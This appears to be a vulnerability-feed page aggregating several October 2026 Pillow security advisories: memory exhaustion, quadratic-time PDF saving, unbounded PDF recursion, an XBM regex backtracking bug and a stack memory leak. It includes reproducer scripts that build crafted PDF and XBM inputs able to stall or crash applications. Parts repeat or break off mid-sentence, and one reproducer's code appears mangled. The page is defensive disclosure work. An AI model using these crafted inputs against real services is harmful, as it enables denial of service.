### Pillow: MSP RLE decoder expands a tiny file into unbounded memory
https://kevwire.com/record/CVE-2026-112892
Pillow: MSP RLE decoder expands a tiny file into unbounded memory (Oct 19, 2026).
Pillow is a Python imaging library. From 4.1.0 until 13.0.0, Pillow's MSP RLE decoder can expand a small file into an unbounded in-memory buffer. The decoder writes run-length output to BytesIO without limiting expansion to the declared image size. An attacker can supply a crafted MSP image to an application that loads its pixels. This can exhaust memory and deny service even when the declared pixel count passes the decompression-bomb check. This issue is fixed in version 13.0.0.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112892).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112892&date=2026-10-25).
Sources:
NVD CVE-2026-112892: https://nvd.nist.gov/vuln/detail/CVE-2026-112892
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
GitHub-reviewed advisory GHSA-gg2r-wvfm-q9rx: https://github.com/advisories/GHSA-gg2r-wvfm-q9rx
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112892&date=2026-10-25
Pillow is a Python imaging library. From 4.1.0 until 13.0.0, Pillow's MSP RLE decoder can expand a small file into an unbounded in-memory buffer. The decoder writes run-length output to BytesIO without limiting expansion to the declared image size. An attacker can supply a crafted MSP image to an application that loads its pixels. This can exhaust memory and deny service even when the declared pixel count passes the decompression-bomb check. This issue is fixed in version 13.0.0.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Quadratic-time DoS in PDF save_all (PdfParser.next_object_id)
https://kevwire.com/record/CVE-2026-112894
Pillow: Quadratic-time DoS in PDF save_all (PdfParser.next_object_id) (Oct 21, 2026).
```
============================================================================
Quadratic-time DoS in PDF save_all (PdfParser.next_object_id)
Location: src/PIL/PdfParser.py:629 in next_object_id()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Pillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely *declares* a large frame count triggers the same slowdown with no upper bound short of 2³¹ frames. Memory stays under 100 MB and the decompression-bomb limit never applies.
CVSS 8.7 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-jg86-v3jv-hrpm).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112894&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-jg86-v3jv-hrpm: https://github.com/advisories/GHSA-jg86-v3jv-hrpm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-112894: https://nvd.nist.gov/vuln/detail/CVE-2026-112894
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112894&date=2026-10-25
```
============================================================================
Quadratic-time DoS in PDF save_all (PdfParser.next_object_id)
Location: src/PIL/PdfParser.py:629 in next_object_id()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Pillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely *declares* a large frame count triggers the same slowdown with no upper bound short of 2³¹ frames. Memory stays under 100 MB and the decompression-bomb limit never applies.

The cause is `PdfParser.next_object_id()` in `src/PIL/PdfParser.py`, which finds the next free id by computing `max(self.xref_table.keys())`. `XrefTable.keys()` rebuilds three sets over every id reserved so far on each call. `PdfImagePlugin._save()` calls it three times (four for palette images with transparency) per frame, for `n_frames` frames, before any page is written. That makes the id-reservation loop alone O(N²). Because `n_frames` is taken from the file before any frame is seeked, APNG's `acTL` count drives the loop even when the frames don't exist. In that case the save raises `OSError` only after the full delay.

The precondition is that the application calls `im.save(..., "PDF", save_all=True)` on the attacker's file; `Image.open()` and `load()` alone do not reach this code. The attached reproducer shows 4× the frames costing about 11× the CPU for a valid GIF and about 16× for a fixed 125-byte APNG. The behaviour was introduced in `6207b44ab1ff` (2018-01-18) and first shipped in Pillow 5.1.0. A small patch that tracks the highest id in `XrefTable` makes the save linear.

## Details

Saving a multi-frame image as a multi-page PDF (`im.save(fp, "PDF", save_all=True)`) costs CPU time proportional to the square of the frame count, independent of pixel content, because every object id the PDF writer reserves is found by rebuilding and scanning the set of all ids reserved so far.

A 1×1-pixel animated GIF made of N identical 15-byte frames (built by the reproducer) gives, on a 2-CPU container with the stock build at this commit (absolute timings vary by machine; the growth rate does not):

| frames | GIF size | `im.save(BytesIO(), "PDF", save_all=True)` | peak RSS |
|---|---|---|---|
| 2 000 | 30 KB | 1.1 s | |
| 8 000 | 120 KB | 14.7 s | |
| 16 000 | 240 KB | 70 s | 60 MB |
| 32 000 | 480 KB | 262 s | 95 MB |
| 48 000 | 720 KB | still running at 120 s (extrapolated ≈ 10 min) | |

Each doubling of the input roughly quadruples the time. `cProfile` of the 8 000-frame save attributes 13.5 s of 17.6 s to 24 003 calls of `PdfParser.next_object_id` (8.9 s inside `XrefTable.keys`, 3.9 s inside `max`); encoding and writing the 8 000 pages is the remaining ~4 s and scales linearly.

The per-page id reservation loop runs before any page is written:

```python
# src/PIL/PdfImagePlugin.py:247-259 (_save)
 for im in ims:
 im_number_of_pages = 1
 if save_all:
 im_number_of_pages = getattr(im, "n_frames", 1)
 …
 for i in range(im_number_of_pages):
 image_refs.append(existing_pdf.next_object_id(0))
 if im.mode == "P" and "transparency" in im.info:
 image_refs.append(existing_pdf.next_object_id(0))

 page_refs.append(existing_pdf.next_object_id(0))
 contents_refs.append(existing_pdf.next_object_id(0))
```

`n_frames` comes straight from the file (for GIF it is the number of image blocks; the GIF plugin counts them by walking block headers, which is cheap). The frames do not even have to exist: the loop runs on `n_frames` before any frame is seeked, and for APNG `n_frames` is the `num_frames` value declared in the `acTL` chunk, rejected only if it is 0 or above `0x80000000` (`src/PIL/PngImagePlugin.py:716-720`). A 125-byte APNG declaring 8 000 frames therefore costs the same ~10–13 s as the 120 KB GIF, and more without bound as the declared count grows. Each of the 3 (or 4, for `P` images with transparency) calls per frame lands here:

```python
# src/PIL/PdfParser.py:626-634
 def next_object_id(self, offset: int | None = None) -> IndirectReference:
 try:
 # TODO: support reuse of deleted objects
 reference = IndirectReference(max(self.xref_table.keys()) + 1, 0)
 except ValueError:
 reference = IndirectReference(1, 0)
 if offset is not None:
 self.xref_table[reference.object_id] = (offset, 0)
 return reference

# src/PIL/PdfParser.py:175-178 (XrefTable)
 def keys(self) -> set[int]:
 return (
 set(self.existing_entries.keys()) - set(self.deleted_entries.keys())
 ) | set(self.new_entries.keys())
```

`_save` passes `offset=0`, so every reserved id is inserted into `xref_table.new_entries`. The k-th call therefore materialises three sets covering all k−1 previous ids, computes a difference and a union, and then `max()` scans the result — O(k) work to produce the integer k. Summed over 3N calls this is O(N²): for 48 000 frames, 144 002 calls over sets growing to 144 002 elements, on the order of 10¹⁰ set-element operations, all spent before `_write_image` is reached for the first frame. Nothing on this path consults `MAX_IMAGE_PIXELS` (the frames are 1×1) and nothing raises; for the GIF the save eventually completes and produces a valid PDF, and for the declared-only APNG it raises `OSError` only once the id loop has finished and the first missing frame is seeked.

This reservation scheme was introduced in `6207b44ab1ff` ("issue #2959: support appending to existing PDFs", 2018-01-18) and first shipped in Pillow 5.1.0; before it, the writer numbered objects arithmetically.

For contrast, `write_obj(ref, …)` with an already-reserved `ref` (`src/PIL/PdfParser.py:548-555`) only does a dict store, which is why the page-wr

Affected package ranges reported by GitHub:
Pillow: >= 5.1.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()
https://kevwire.com/record/CVE-2026-112391
Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree() (Oct 21, 2026).
This is a classmethod that takes `max_nesting: int = -1` and has a guard:

```python
if max_nesting == 0:
 return None, None
```
CVSS 6.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112391).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112391&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-254f-3936-288h: https://github.com/advisories/GHSA-254f-3936-288h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-112391: https://nvd.nist.gov/vuln/detail/CVE-2026-112391
Vendor advisory (via NVD references): https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112391&date=2026-10-25
### Summary
`PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp= , format="PDF", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.

### Details
**`get_value()` in `src/PIL/PdfParser.py`**

This is a classmethod that takes `max_nesting: int = -1` and has a guard:

```python
if max_nesting == 0:
 return None, None
```

Every recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else.

This advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel `-1` default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() .

### Steps to reproduce
Both PDFs below are plain text, built directly in Python, no PDF library needed.

```python
from PIL.PdfParser import PdfParser

def build_pdf(root):
 out = bytearray(b"%PDF-1.4\n")
 offset = len(out)
 out += f"1 0 obj\n".encode()
 out += root
 out += b"\nendobj\n"
 out += b"xref\n"
 out += f"0 2\n".encode()
 out += b"0000000000 65535 f \n"
 out += f"{offset:010d} 00000 ".encode() + b"n \n"
 xref_offset = len(out)
 out += b"xref\n"
 out += f"0 2\n".encode()
 out += b"0000000000 65535 f \n"
 out += f"{offset:010d} 00000 ".encode() + b"n \n"
 out += b"trailer\n"
 out += f" >\n".encode()
 out += b"startxref\n"
 out += f"{xref_offset}\n".encode()
 out += b"%%EOF"
 return bytes(out)

bomb = b"[" * 3000 + b"]" * 3000
root = b" >"
with open("nesting_bomb.pdf", "wb") as f:
 f.write(build_pdf(root))

PdfParser("nesting_bomb.pdf") # raises RecursionError
```

Expected: a clean `PdfFormatError`.

Actual: raises a raw `RecursionError: maximum recursion depth exceeded`.

### Impact
- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format="PDF", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes.
- Confidentiality: none.
- Integrity: none.
- Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.

Affected package ranges reported by GitHub:
Pillow: >= 5.1.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes
https://kevwire.com/record/CVE-2026-112901
Pillow: ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes (Oct 21, 2026).
```
============================================================================
ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes
Location: src/PIL/XbmImagePlugin.py:58 in XbmImageFile._open()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A crafted 512-byte file makes Pillow's `Image.open()` spend about six minutes of processor time on one core before it gives up with `UnidentifiedImageError`. Anyone who can hand bytes to an application that opens images with Pillow's default settings can trigger this, for example through an upload form, a thumbnailer, or a service that checks whether a blob is an image. A few such files sent at once can tie up a typical pool of worker processes.
CVSS 6.9 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-xgh8-jp6q-p5x8).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112901&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-xgh8-jp6q-p5x8: https://github.com/advisories/GHSA-xgh8-jp6q-p5x8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112901&date=2026-10-25
```
============================================================================
ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes
Location: src/PIL/XbmImagePlugin.py:58 in XbmImageFile._open()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A crafted 512-byte file makes Pillow's `Image.open()` spend about six minutes of processor time on one core before it gives up with `UnidentifiedImageError`. Anyone who can hand bytes to an application that opens images with Pillow's default settings can trigger this, for example through an upload form, a thumbnailer, or a service that checks whether a blob is an image. A few such files sent at once can tie up a typical pool of worker processes.

The cause is the `xbm_head` regular expression in `src/PIL/XbmImagePlugin.py:32-40`, which `XbmImageFile._open()` (line 58) runs over the first 512 bytes of any stream whose prefix starts with `#define`. Several adjacent parts of the pattern can match the same characters. `[ \t]+` overlaps with `.*` in the width and height lines and with `[^_]*` in the optional hotspot lines, and `[\r\n]+` closing the hotspot group overlaps with the following `[\000-\377]*`. The header sets a run of k spaces after each `#define` and a run of k line terminators after `_y_hot`, then omits the `[]` after `_bits`. That forces Python's backtracking matcher to try every way of splitting those runs and rescan the remaining bytes each time. The cost grows roughly as k to the fifth power: k = 60 measured 375 s, while a well-formed XBM of the same size opens in about 40 ms. Because this happens before any format is identified, none of Pillow's size, pixel-count or decompression-bomb limits apply, and upload size limits do not help because the file is tiny. `ImageFile.Parser.feed()` repeats the cost on every chunk until the stream is identified. The only existing mitigation is passing a `formats=` allowlist that excludes `"XBM"`.

The attached reproducer opens the same header with and without the trailing `[]`. The valid version opens as XBM in 52 ms. The broken version takes 0.1 s, 0.75 s, 3.0 s and 8.6 s at k = 10, 15, 20 and 25, and the slow k = 60 case is not run. This is the same class of bug as CVE-2021-25292 in `PdfParser`, but in a different plugin and reachable from plain `Image.open()`.

## Details

`XbmImageFile._open()` identifies an XBM file by running the module-level regex `xbm_head` over the first 512 bytes of the stream. The pattern has several adjacent quantifier pairs that can consume the same characters, followed by a `[\000-\377]*_bits\[]` tail that rescans the rest of the buffer for every way of splitting them. A 512-byte input built to exercise all of them and then fail the final literal keeps `Image.open()` in `xbm_head.match()` for minutes before it raises `UnidentifiedImageError`.

This 512-byte input (k = 60) takes 375 s of CPU in `Image.open(io.BytesIO(data))` with default settings, measured on the stock build at this commit:

```python
k = 60
data = b"#define" + b" "*k + b"_width 1\r"
data += b"#define" + b" "*k + b"_height 1\r"
data += b"#define" + b" "*k + b"_x_hot 1\r"
data += b"#define" + b" "*k + b"_y_hot 1" + b"\r"*k
data += b"_bits" # no "[]": the final literal never matches
data += b"A" * (512 - len(data)) # pad to the 512 bytes _open() reads
```

Calling `XbmImagePlugin.xbm_head.match(data)` directly gives the same picture: k = 10 → 0.11 s, k = 15 → 0.76 s, k = 20 → 3.0 s, k = 25 → 8.5 s, k = 30 → 19.9 s (roughly ×27 per doubling of k, i.e. about k^4.7). A well-formed 512-byte XBM matches in 10 µs and opens and loads through `Image.open()` in ~40 ms including plugin import; the same k = 60 header with `_bits[]` present matches in 5 µs.

The regex, `src/PIL/XbmImagePlugin.py:32`:

```python
xbm_head = re.compile(
 rb"\s*#define[ \t]+.*_width[ \t]+(?P [0-9]+)[\r\n]+"
 b"#define[ \t]+.*_height[ \t]+(?P [0-9]+)[\r\n]+"
 b"(?P "
 b"#define[ \t]+[^_]*_x_hot[ \t]+(?P [0-9]+)[\r\n]+"
 b"#define[ \t]+[^_]*_y_hot[ \t]+(?P [0-9]+)[\r\n]+"
 b")?"
 rb"[\000-\377]*_bits\[]"
)
```

and the only call site, `src/PIL/XbmImagePlugin.py:58`:

```python
 def _open(self) -> None:
 …
 m = xbm_head.match(self.fp.read(512))
 if not m:
 msg = "not a XBM file"
 raise SyntaxError(msg)
```

For a well-formed header (`#define im_width 8\n…static char im_bits[] = {`) each `[ \t]+` eats the single space, `.*`/`[^_]*` eat the identifier prefix, and `[\000-\377]*_bits\[]` finds the literal on its first backward scan, so the match is linear. The crafted header diverges at every one of those points:

- `[ \t]+.*_width` and `[ \t]+.*_height`: the run of k spaces after `#define` can be split between `[ \t]+` and `.*` in k ways, all leading to the same continuation. Factor k each. (The choice of `\r` terminators is incidental: the same header with `\n` terminators is equally slow.)
- `[ \t]+[^_]*_x_hot` and `[ \t]+[^_]*_y_hot` inside the optional `hotspot` group: `[^_]*` also matches spaces, so the same k-way split exists twice more. Factor k each. These two lines are essential: without them the same input is rejected in about 10 ms.
- `[\r\n]+` closing the `hotspot` group, followed by `)?` and `[\000-\377]*`: the run of k `\r` bytes after `_y_hot 1` can be divided between `[\r\n]+` and `[\000-\377]*` in k ways. Factor k.
- `[\000-\377]*_bits\[]`: for every combination above, the engine swallows the remaining ~150 bytes of padding and walks back looking for `_bits[]`. The input contains `_bits` but never `[]`, so this always fails and every combination is visited.

CPython's `re` is a backtracking engine without memoisation, so the total work is on the order of k^5 × (512 − header length) steps — about 10^11 for k = 60, consistent with the measured 375 s. The 512-byte read caps k (5k + ~60 ≤ 512), so the cost per `open()` is bounded, but the bound is minutes of CPU.

The path is the default one. `Image.open()` (`src/PIL/Image.py:3719`

Affected package ranges reported by GitHub:
Pillow: <= 12.3.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Image.quantize() with empty palette leaks uninitialized stack memory
https://kevwire.com/record/CVE-2026-112898
Pillow: Image.quantize() with empty palette leaks uninitialized stack memory (Oct 21, 2026).
```
============================================================================
Image.quantize() with empty palette leaks uninitialized stack memory
Location: src/libImaging/Palette.c:216 in ImagingPaletteCacheUpdate()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

When an application lets a user supply the palette image for Pillow's `Image.quantize(palette=...)`, the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary.
CVSS 6.9 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-rfgq-q3w2-pmv2).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112898&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-rfgq-q3w2-pmv2: https://github.com/advisories/GHSA-rfgq-q3w2-pmv2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112898&date=2026-10-25
```
============================================================================
Image.quantize() with empty palette leaks uninitialized stack memory
